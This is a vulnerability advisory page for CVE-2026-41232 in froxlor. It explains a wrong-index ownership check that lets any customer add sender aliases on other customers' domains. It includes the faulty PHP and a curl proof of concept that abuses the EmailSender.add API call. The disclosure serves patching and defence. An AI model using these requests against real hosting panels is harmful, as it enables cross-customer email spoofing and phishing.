Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-41232 — froxlor

🟡 CVSS 5.0 — Medium ⚠️ Exploit Public CWE-863 NVD
5.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Froxlor has an Email Sender Alias Domain Ownership Bypass via Wrong Array Index Allows Cross-Customer Email Spoofing

Summary

In EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's sender_login_maps then authorizes the attacker to send emails as those addresses.

Details

In lib/Froxlor/Api/Commands/EmailSender.php at line 100, when a customer adds a full email address (not a @domain wildcard) as an allowed sender, the code splits on @ and takes index [0]:

```php

// Line 96-106

if (substr($allowed_sender, 0, 1) != '@') {

if (!Validate::validateEmail($idna_convert->encode($allowed_sender))) {

Response::standardError('emailiswrong', $allowed_sender, true);

}

self::validateLocalDomainOwnership(explode("@", $allowed_sender)[0] ?? ""); // BUG: [0] is the local part

} else {

if (!Validate::validateDomain($idna_convert->encode(substr($allowed_sender, 1)))) {

Response::standardError('wildcardemailiswrong', substr($allowed_sender, 1), true);

}

self::validateLocalDomainOwnership(substr($allowed_sender, 1)); // CORRECT: passes domain

}

```

For input [email protected], explode("@", "[email protected]") returns ["admin", "domain-b.com"]. Index [0] is "admin" — the local part, not the domain.

The validateLocalDomainOwnership() function (lines 346-355) then queries panel_domains for a domain matching "admin":

```php

private static function validateLocalDomainOwnership(string $domain): void

{

$sel_stmt = Database::prepare("SELECT customerid FROM " . TABLE_PANEL_DOMAINS . " WHERE domain = :domain");

$domain_result = Database::pexecute_first($sel_stmt, ['domain' => $domain]);

if ($domain_result && $domain_result['customerid'] != CurrentUser::getField('customerid')) {

Response::standardError('senderdomainnotowned', $domain, true);

}

}

```

Since no domain named "admin" exists in panel_domains, $domain_result is false, and the function returns without error — the ownership check silently passes.

The inserted mail_sender_aliases row is then picked up by Postfix's sender_login_maps query (configured in mysql-virtual_sender_permissions.cf):

```sql

... UNION (SELECT mail_sender_aliases.email FROM mail_sender_aliases

WHERE mail_sender_aliases.allowed_sender = '%s') ...

```

This query maps the allowed_sender back to the mail user, authorizing them to send as that address via SMTP.

PoC

```bash

# Prerequisites: Froxlor instance with mail.enable_allow_sender enabled,

# two customers: Customer A (owns domain-a.com) and Customer B (owns domain-b.com)

# Step 1: As Customer A, add a sender alias claiming Customer B's domain

# Via API:

curl -X POST 'https://froxlor-host/api/v1/' \

-H 'Authorization: Basic <customer-A-credentials>' \

-H 'Content-Type: application/json' \

-d '{

"command": "EmailSender.add",

"params": {

"emailaddr": "[email protected]",

"allowed_sender": "[email protected]"

}

}'

# Expected: Error "senderdomainnotowned" because domain-b.com belongs to Customer B

# Actual: 200 OK — alias is created because validateLocalDomainOwnership

# receives "ceo" (local part) instead of "domain-b.com" (domain)

# Step 2: Verify the alias was inserted

curl -X POST 'https://froxlor-host/api/v1/' \

-H 'Authorization: Basic <customer-A-credentials>' \

-H 'Content-Type: application/json' \

-d '{

"command": "EmailSender.listing",

"params": {"emailaddr": "[email protected]"}

}'

# Step 3: Customer A can now send email as [email protected] via SMTP

# because Postfix sender_login_maps will match the mail_sender_aliases entry

# and authorize Customer A's mail account to use that sender address.

```

The same attack works via the web UI by POST-ing to customer_email.php with action=add_sender and the target domain in allowed_domain.

Impact

Any authenticated customer on a multi-tenant Froxlor instance can add sender aliases for email addresses on domains belonging to other customers. This allows:

  • Cross-customer email spoofing: Send emails impersonating users on other customers' domains, bypassing Postfix's smtpd_sender_login_maps restriction that is specifically designed to prevent this.
  • Multi-tenant isolation breach: The domain ownership check (validateLocalDomainOwnership) is the only barrier preventing cross-customer sender aliasing, and it is completely ineffective for full email addresses.
  • Phishing and reputation damage: Spoofed emails originate from the legitimate mail server, passing SPF/DKIM checks for the target domain if those records point to

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality none, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: None.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2026-41232 is classified as CWE-863: Incorrect Authorization. An authorisation check runs but reaches the wrong conclusion, permitting actions it should refuse.

Affected software

CVE-2026-41232 is recorded against 2 packages.

  • froxlor (fixed in 2.3.6)
  • froxlor/froxlor (fixed in 2.3.6)

Timeline and source

Published on 23 April 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
github.com
github.com

Other advisories for this package

froxlor has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-863: Incorrect Authorization) in other software:

Details

Severity MEDIUM
CVSS Score 5.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N
CWE CWE-863
Public Exploit ⚠️ Yes
Source NVD
Published 2026-04-23
Updated 2026-08-20
Modified 2026-06-17

Affected Packages

Software From version Fixed in
froxlor 2.3.6
froxlor/froxlor 2.3.6

Similar Threats

Exploit Protection

Are you running froxlor?

CVE-2026-41232 carries CVSS 5.0 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-41232 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026